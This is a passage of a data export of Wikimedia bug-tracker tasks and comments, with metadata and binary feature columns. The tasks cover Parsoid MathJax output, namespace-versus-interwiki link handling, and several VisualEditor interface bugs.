+For the OP, I should point out that MathJax preprocessing will remove the spans and insert its script tags, so you might want to insere those directly see http://docs.mathjax.org/en/latest/model.html#how-mathematics-is-stored-in-the-page.",,,1378354273,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+238576,Parsoid: Output MathJax rendering for Math tags instead of images,"From IRC discussion with pkrautzberger it seems that we could actually use MathJax directly to convert tex to MathML without calling the API at all. Some work is still needed though:
+
+[17:03] <gwicke> do you have a node package?
+[17:03] <pkrautzberger> ah. no. The problem is that MathJax requires a dom  right now. But we plan to liberate parts.
+[17:03] <gwicke> we have a dom
+[17:03] <pkrautzberger> (a lot functionality doesn't make sense outside the DOM).
+[17:04] <gwicke> domino currently
+[17:04] <pkrautzberger> but TeX2MathML conversion could be isolated easily (MathML to SVG not as easily). BTW our internal format is MathML.
+[17:04] <gwicke> it only implements DOM4 in case that makes a difference
+[17:04] <pkrautzberger> I'm not sure if dom4 would be a problem.
+[17:04] <pkrautzberger> but we've seen people use dom runners.
+[17:04] <gwicke> we could also use JSDom for math if that helps
+[17:05] <gwicke> supports the other levels
+[17:05] <gwicke> and script tag execution
+[17:05] <pkrautzberger> well, ideally we could just isolate that from the dom.
+[17:05] <pkrautzberger> but yes, I know someone who got jsdom to work with MathJax.
+[17:06] <gwicke> ah, that sounds promising",,,1378339833,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+238570,Parsoid: Output MathJax rendering for Math tags instead of images,See bug 52031.,,,1376614484,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+238565,Parsoid: Output MathJax rendering for Math tags instead of images,Have we filed a bug against the mw api to support this?,,,1374764072,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+238564,Parsoid: Output MathJax rendering for Math tags instead of images,"From IRC discussions:
+
+It appears that supporting this on the Parsoid end would definitely require an update to the mw api so we can pass in options to the extension (something like action=callextensiontag&attributes=...&options=...)
+
+In addition, if the math extension doesn't accept output rendering options (except via config settings), the extension itself will need an update to support this.
+
+Once both are present, Parsoid can emit mathml.",,,1374265056,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+238563,Parsoid: Output MathJax rendering for Math tags instead of images,"With VE's JS requirements we can just force everyone to use the MathJax rendering when editing, makes things a lot simpler and both ends, and means we don't need to round-trip to re-render.",,,1374264665,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+53680,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"http://it.wikipedia.org/wiki/Utente:Elitre_%28WMF%29/Sandbox?veaction=edit
+
+This was actually discussed on IRC by Inez, subbu, gwicke on July 3rd, I might provide that part of the log if useful.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://parsoid.wmflabs.org/it/Utente:Elitre_(WMF)/Sandbox",Medium,50.0,1374238320,1380818608.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+237641,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87272 merged by jenkins-bot:
+Add 'MemoryAlpha' namespace for parser tests.
+
+https://gerrit.wikimedia.org/r/87272",,,1380811545,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+237636,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87272 had a related patch set uploaded by Cscott:
+Add 'MemoryAlpha' namespace for parser tests.
+
+https://gerrit.wikimedia.org/r/87272",,,1380751646,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+237630,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87203 merged by jenkins-bot:
+ParserTests: allow test of precedence between interwiki links and namespaces
+
+https://gerrit.wikimedia.org/r/87203",,,1380747187,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237624,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 86872 merged by jenkins-bot:
+Bug 51680: Give preference to namespaces over interwiki prefixes
+
+https://gerrit.wikimedia.org/r/86872",,,1380746244,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237620,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87203 had a related patch set uploaded by Cscott:
+ParserTests: allow test of precedence between interwiki links and namespaces
+
+https://gerrit.wikimedia.org/r/87203",,,1380742224,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237619,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 86872 had a related patch set uploaded by Marcoil:
+Bug 51680: Give preference to namespaces over interwiki prefixes
+
+https://gerrit.wikimedia.org/r/86872",,,1380644334,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237617,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"I have a patch for this one, taking it.",,,1380644270,,PHID-USER-56wtmb23orq4pu5liyj5,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+237614,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Namespace prefixes need to take precedence over interwiki prefixes in Parsoid, as is the case in the PHP parser.",,,1376614725,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237609,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,Can't reproduce on enwp for obvious reasons.,,,1375060582,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+237604,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Created attachment 12996
+screenshot of adding a wikipedia: link
+
+**Attached**: {F11284}",,,1375060388,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+237599,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"This is because Parsoid sees [[Wikipedia:VisualEditor/Cosa_cambia]] as a link to [[VisualEditor/Cosa_cambia]] on interwiki ""Wikipedia"" (i.e., the English Wikipedia). Whoops.",,,1374644195,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+53677,VisualEditor: Rapidly multiplying pawns after editing near a link in MobileSafari on iPad,"An IP user on the English Wikipedia reports the following slightly alarming bug:
+
+""After I edited text near a link, ""♙♙♙♙♙♙♙"" characters started appearing around once a second, and I couldn't stop them or delete them.""
+
+Based on another bug report left a few minutes later by the same user they were using MobileSafari on iPad 2 with iOS 6.1.3
+
+I can't replicate this in Firefox on a Linux PC and don't have an iPad to test on.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: other
+**Platform**: Tablet PC
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50465",Medium,50.0,1374234180,1434487685.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-boasjpxas32sxaoibmuy,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+475919,VisualEditor: Rapidly multiplying pawns after editing near a link in MobileSafari on iPad,"Seems to work for me now. Tested on Beta Cluster using iOS Safari 8.0 on an iPad.
+",,,1434487685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-boasjpxas32sxaoibmuy,task_subcomment,,True,c1,3,True,,,102,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+237371,VisualEditor: Rapidly multiplying pawns after editing near a link in MobileSafari on iPad,"(In reply to comment #0)
+> An IP user on the English Wikipedia reports the following slightly alarming
+> bug:
+> 
+> ""After I edited text near a link, ""♙♙♙♙♙♙♙"" characters started appearing
+> around
+> once a second, and I couldn't stop them or delete them.""
+> 
+> Based on another bug report left a few minutes later by the same user they
+> were
+> using MobileSafari on iPad 2 with iOS 6.1.3
+> 
+> I can't replicate this in Firefox on a Linux PC and don't have an iPad to
+> test
+> on.
+
+Since you asked,in VE test edit we had encountered it at mr wiki http://mr.wikipedia.org/w/index.php?title=तेकिर्दा_प्रांत&diff=prev&oldid=1189390 When I increased space.I suppose developers already may be taking care of this.
+
+I suppose en wiki maya be needs to track nowikis with better targeted edit filters for space and other mark up aspects.Thats my guess.",,,1374236089,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-boasjpxas32sxaoibmuy,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+53673,VisualEditor: Search of parameters in transclusion editor should be case insensitive,"The parameter search is case sensitive, requiring all lowercase input
+
+When searching for parameters in the transclusion/template editor the search returns ""Unknown parameter"" unless the search term is entirely lowercase.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11271}",Medium,50.0,1374229560,1394405793.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-q5ayyohzxfrkbwwrho46,task_description,resolved,True,c1,3,False,False,False,2,,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+237192,VisualEditor: Search of parameters in transclusion editor should be case insensitive,Done by gerrit 117305.,,,1394405793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q5ayyohzxfrkbwwrho46,task_subcomment,,True,c1,3,True,,,35,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+237188,VisualEditor: Search of parameters in transclusion editor should be case insensitive,*** Bug 52950 has been marked as a duplicate of this bug. ***,,,1377426861,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-q5ayyohzxfrkbwwrho46,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+237184,VisualEditor: Search of parameters in transclusion editor should be case insensitive,"After a moments though I wonder if this might be the same issue as bug 51670, with the search requiring input that matches the parameter as defined in the source (which the VE user has no way of knowing) rather than the title as displayed in the parameter list.",,,1374229905,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-q5ayyohzxfrkbwwrho46,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+53672,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"Lack of ""remove template"" button in a 1366x480px Firefox 22 window on Xubuntu Linux
+
+In the Visual Editor template/transclusion editor the list of parameters obscures the ""remove template"" button so that it can only be clicked if you enter the name of a non-existant parameter into the search box. See attachment to bug 51671
+
+Even this does not help when the window is too small for it to be displayed (see attachment).
+
+Both problems could be solved by either: 
+*making the window scroll (separately from making the parameter list scroll); and/or
+*moving the ""Remove template"" button next to the ""save changes"" button (which would probably be more logical than placing it under ""options"" - see also bug 51135).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51739
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51135
+
+**Attached**: {F11269}",Medium,50.0,1374229080,1394073936.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+237132,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,The button has now been moved to the right of the template or parameter's name.,,,1394073936,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,True,,,35,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+237124,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"(In reply to comment #2)
+> The problem is that button removes the single template that the pane is
+> about,
+> not the entire transclusion (which can cover from one template to thousands)
+> -
+> the dialog footer buttons are meant to apply to the entire dialog's subject,
+> not just the bit you're currently looking at.
+
+Ah rights, yes that does make sense
+
+> However, maybe it could be up in the top-right, alongside the name of the
+> template you've currently got selected?
+
+Right aligned on the same line as the template name / parameter name (for remove parameter) does seem like the best. Need to make sure that it doesn't collide with a long template/parameter name though.",,,1375339576,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,1
+237115,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"(In reply to comment #0)
+> *moving the ""Remove template"" button next to the ""save changes"" button (which
+> would probably be more logical than placing it under ""options"" - see also bug
+> 51135).
+
+The problem is that button removes the single template that the pane is about, not the entire transclusion (which can cover from one template to thousands) - the dialog footer buttons are meant to apply to the entire dialog's subject, not just the bit you're currently looking at.
+
+However, maybe it could be up in the top-right, alongside the name of the template you've currently got selected?",,,1375325672,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1
+237106,VisualEditor: Move the remove template/parameter button to somewhere more prominent?,"The fix to bug 51739 has made this less of an issue, in that the remove template button can be accessed by scrolling to the very bottom of the list. I still think the button would be better placed next to the ""save changes"" button though.
+
+Changing from a bug to an enhancement accordingly.",,,1374700322,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5rpxkdg4clk2xzkgyeci,task_subcomment,,True,c1,3,False,,,3,,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+53665,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,"A user on the English Wikipedia reports two problems when attempting to drag and drop an image.
+""Problem 1: Clicking on a media file and dragging the mouse causes the cursor to change to the ""I'm moving an image"" icon, but the image doesn't actually move. I can only move an image if I click it once to select it, then click and hold.
+
+Problem 2: If I move an image a small enough distance across the screen that it doesn't actually move, I can't move it again unless I deselect it and then reselect it.""
+
+They are using Firefox 21, I can confirm both problems in Firefox 22.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54472",Medium,50.0,1374224700,1403019840.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+236711,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,"Specifically, this was fixed by Ed's changes to clickable nodes last week.",,,1403019840,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,True,,,50,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236704,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,This doesn't appear to be a problem in master.,,,1403008896,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+236699,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,fwiw about Problem 1 the same happens with text based templates. Tested with the template {{languages}} at the top of the page at https://www.mediawiki.org/wiki/Groups,,,1380426562,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nkihkps7zwe2jnpuv2vo,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236694,VisualEditor: Drag-and-drop requires the item (image/reference/template) to be selected before it can be dragged,"Some suggestions about dragging from Adam C.:
+""If I might suggest, if dragging isn't possible, why not just make it that when you select an image, you have a few buttons. A left arrow to move it left, a right arrow to move it right, a menu button between them that'll give you the chance to edit image properties (and to set the rarely-used centre), ideally a way to directly edit the caption without entering a menu, and perhaps a little drag bar at the top for moving it vertically? (Having a standardised place to grab and drag would be an excellent idea, by the way.I'd suggest adding a little bar at the top of an element when it's clicked 